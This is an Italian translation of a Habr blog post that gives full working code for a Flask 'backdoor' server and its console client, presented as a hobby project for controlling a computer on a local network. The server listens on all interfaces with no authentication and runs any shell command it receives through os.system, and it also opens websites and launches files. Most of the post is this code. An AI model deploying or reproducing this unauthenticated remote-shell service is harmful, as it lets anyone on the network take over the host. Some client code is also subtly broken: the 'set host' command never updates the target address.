Una piccola backdoor su Flask o come controllare un computer su una rete locale

Ehi Habr!

Recentemente ho guardato una versione scaricata del flusso di programmazione "Come creare la tua applicazione web in Flask". E ho deciso di consolidare le mie conoscenze in qualche progetto. Per molto tempo non sapevo cosa scrivere e mi è venuta l’idea: “Perché non realizzare una mini-backdoor in Flask?”

Le prime opzioni per implementazioni e funzionalità della backdoor sono apparse immediatamente nella mia testa. Ma ho deciso di fare subito un elenco delle funzionalità backdoor:

  1. Sapere come aprire i siti web
  2. Avere accesso alla riga di comando
  3. Essere in grado di aprire programmi, foto, video

Quindi, il primo punto è estremamente facile da implementare utilizzando il modulo del browser web. Ho deciso di implementare il secondo punto utilizzando il modulo os. E anche il terzo avviene tramite il modulo del sistema operativo, ma userò i “link” (ne parleremo più avanti).

Scrivere un server

Quindi, *rullo di tamburi* tutto il codice del server:

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'The server is running and waiting for commands...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https://www.'+json_string['data'], new=0)
        return 'Site opening ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Command execution ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

Ho già scaricato tutto il codice, è ora di spiegare l'essenza.

Tutto il codice viene eseguito sul computer locale sulla porta 5000. Per interagire con il server, dobbiamo inviare una richiesta JSON POST.

Struttura della richiesta JSON:

{‘command’:  ‘comecommand’, ‘data’: ‘somedata’}

Bene, è logico che "comando" sia il comando che vogliamo eseguire. E "dati" sono gli argomenti del comando.

Puoi scrivere e inviare richieste JSON per interagire manualmente con il server (le richieste ti aiuteranno). Oppure puoi scrivere un client console.

Scrivere un cliente

Codice:

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Written on Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Author: ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print (r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print (r.content.decode('utf-8'))
        else:
            print('Комманда не содержит аргументов!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print (r.content.decode('utf-8'))
            else:
                print('Комманда не содержит аргументов!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

Spiegazioni:

Innanzitutto viene importato il modulo delle richieste (per interagire con il server). Di seguito sono descritte le funzioni di avvio e test. E poi il ciclo in cui avviene la magia. Hai letto il codice? Quindi capisci il significato della magia che avviene nel ciclo. Inserisci il comando: verrà eseguito. Shell – comandi per la riga di comando (la logica è fuori scala).

Test: controlla se il server è in esecuzione (backdoor)
Link – uso di una “scorciatoia”
Openweb – apertura di un sito web
Esci: esci dal client
Set – impostazione dell'ip del tuo computer sulla rete locale

E ora di più sul collegamento.

C'è un file link.txt accanto al server. Contiene collegamenti (percorso completo) a file (video, foto, programmi).

La struttura è questa:

полный_путь>описание
полный_путь>описание

risultato

Disponiamo di un server backdoor per controllare un computer su una rete locale (all'interno di una rete Wi-Fi). Tecnicamente, possiamo eseguire il client da qualsiasi dispositivo dotato di un interprete Python.

PS Ho aggiunto il comando set in modo che se a un computer della rete locale viene assegnato un IP diverso, questo può essere modificato direttamente nel client.

Fonte: habr.com

Aggiungi un commento